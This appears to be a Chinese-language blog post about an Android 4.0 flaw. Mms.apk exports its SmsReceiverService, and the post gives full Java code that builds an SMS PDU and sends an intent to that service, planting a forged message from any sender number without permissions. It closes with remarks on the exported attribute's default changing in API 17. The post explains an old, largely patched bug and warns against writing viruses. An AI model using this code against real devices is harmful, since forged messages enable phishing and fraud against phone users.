- A+
导读：Android系统的日益强大，但Android平台的安全问题一直是其“阿基里斯之踵”。据统计，2012 年有 79% 的恶意软件都寄生于 Andriod 之上，此数字比 2011 年更高出 12.3%。相较之下，iOS 平台内的恶意软件仅占总量的 0.7%，继续成为最安全的移动系统。本文利用android4.0的一个原生漏洞来伪造短信。无须声明任何权限即可伪造发送方为任何号码的短信给用户。
android4.0发布已经是很久很久很久很久以前的事情了，这个漏洞早就报了出来，之所以现在才写这篇文章，就是觉得，该升级的基本已经都升级了，该打补丁的基本都已经打了补丁，所以现在差不多是时候了。
原生android4.0系统中，Mms.apk的manifest有这样一段
-
<service android:name=".transaction.SmsReceiverService" android:exported="true" />
android:exported="true"，意味着SmsReceiverService这个Service暴露给了大家，也让病毒有机可乘
在stackoverflow上面，有人早就给出了伪造短信的方案，我们在这里就直接使用人家的代码好了
其中UCS-2处理是我新加上去的
private static void createFakeSms(Context context, String sender,
String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD("0000000000");
byte[] senderBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender);
int lsmcs = scBytes.length;
// 时间处理，包括年月日时分秒以及时区和夏令时
byte[] dateBytes = new byte[7];
Calendar calendar = new GregorianCalendar();
dateBytes[0] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.YEAR)));
dateBytes[1] = SmsUtil
.reverseByte((byte) (calendar.get(Calendar.MONTH) + 1));
dateBytes[2] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.DAY_OF_MONTH)));
dateBytes[3] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.HOUR_OF_DAY)));
dateBytes[4] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.MINUTE)));
dateBytes[5] = SmsUtil.reverseByte((byte) (calendar
.get(Calendar.SECOND)));
dateBytes[6] = SmsUtil
.reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar
.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);// 短信服务中心长度
bo.write(scBytes);// 短信服务中心号码
bo.write(0x04);
bo.write((byte) sender.length());// 发送方号码长度
bo.write(senderBytes);// 发送方号码
bo.write(0x00);// 协议标示，00为普通GSM，点对点方式
try {
String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet";
Class<?> cReflectedNFCExtras = Class
.forName(sReflectedClassName);
Method stringToGsm7BitPacked = cReflectedNFCExtras.getMethod(
"stringToGsm7BitPacked", new Class[] { String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null,
body);
bo.write(0x00); // encoding: 0 for default 7bit
bo.write(dateBytes);
bo.write(bodybytes);
} catch (Exception e) {
Log.i(TAG, "sender:" + sender + "\nbody:" + body, e);
// 下面是UCS-2编码的处理，中文短信就需要用此种方式
bo.write(0x08); // encoding: 8 for UCS-2
bo.write(dateBytes);
bo.write(SmsUtil.encodeUCS2(body, null));// 其中encodeUCS2是从系统中复制过来的，并不是我写的
// 源码具体位置在
// frameworks/base/telephony/java/com/android/internal/telephony/gsm/SmsMessage.java
}
pdu = bo.toByteArray();
} catch (IOException e) {
Log.e(TAG, "sender:" + sender + "\nbody:" + body, e);
}
// 上面的部分都是组织短信数据，下面是将数据传递给SmsReceiverService，让它来帮我们发送。虽然我们的程序没有发送短信的权限，但是人家有啊！
Intent intent = new Intent();
intent.setClassName("com.android.mms",
"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");
intent.putExtra("pdus", new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);
}
public static byte reverseByte(byte b) {
return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) << 4);
}
我们看看在SmsMessage.java中的getSubmitPdu处理user data的方式
-
// User Data (and length) byte[] userData; try { if (encoding == ENCODING_7BIT) { userData = GsmAlphabet.stringToGsm7BitPackedWithHeader(message, header, languageTable, languageShiftTable); } else { //assume UCS-2 try { userData = encodeUCS2(message, header); } catch(UnsupportedEncodingException uex) { Log.e(LOG_TAG, "Implausible UnsupportedEncodingException ", uex); return null; } } } catch (EncodeException ex) { // Encoding to the 7-bit alphabet failed. Let's see if we can // send it as a UCS-2 encoded message try { userData = encodeUCS2(message, header); encoding = ENCODING_16BIT; } catch(UnsupportedEncodingException uex) { Log.e(LOG_TAG, "Implausible UnsupportedEncodingException ", uex); return null; } }
先看是不是7-bit编码方式，如果不是，那么就假设是UCS-2编码，如果抛出EncodeException，那么也尝试UCS-2编码
下面附上encodeUCS2代码
-
/** * Packs header and UCS-2 encoded message. Includes TP-UDL & TP-UDHL if * necessary * * @return * @throws UnsupportedEncodingException */ public static byte[] encodeUCS2(String message, byte[] header) throws UnsupportedEncodingException { byte[] userData, textPart; textPart = message.getBytes("utf-16be"); if (header != null) { // Need 1 byte for UDHL userData = new byte[header.length + textPart.length + 1]; userData[0] = (byte) header.length; System.arraycopy(header, 0, userData, 1, header.length); System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length); } else { userData = textPart; } byte[] ret = new byte[userData.length + 1]; ret[0] = (byte) (userData.length & 0xff); System.arraycopy(userData, 0, ret, 1, userData.length); return ret; }
现在，我们就可以在原生android4.0上面干坏事了，如果你在真机上面发现上面的代码不起作用，那么很有可能人家已经修复了漏洞，所以你也别总想着干坏事。
不过……HTC G14上面的漏洞还是存在的，起码前两个月是这个样子，没关系，我已经换了手机……
另外值得一提是android:exported这个属性
我们可以在android官方文档中看到如下说明
http://developer.android.com/about/versions/jelly-bean.html#42-platform-tech
ContentProvider default configuration — Applications which target API level 17 will have “export” set to “false” by default for each ContentProvider, reducing default attack surface for applications.
这意味着什么呢？
之前，你可以不用显式设置export这个属性，别人也可以调用你的ContentProvider，但是你的应用放到了Android4.2（API17）上面，那么别人再调用你的ContentProvider的时候就会抛出异常，进而导致应用崩溃
这是时候，我们就必须在manifest文件中显式给export赋值为true
之前就遇到了这样的问题，应用放在4.1上面没有问题，放到4.2上就crash，调查了半天，才发现原因在这里
看来关键的属性还是显式声明的好，因为没准哪一天，它的默认值就变了
下面是一些相关内容
请大家不要用root的手机随意下载软件，更不要以任何借口制造任何病毒！
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-
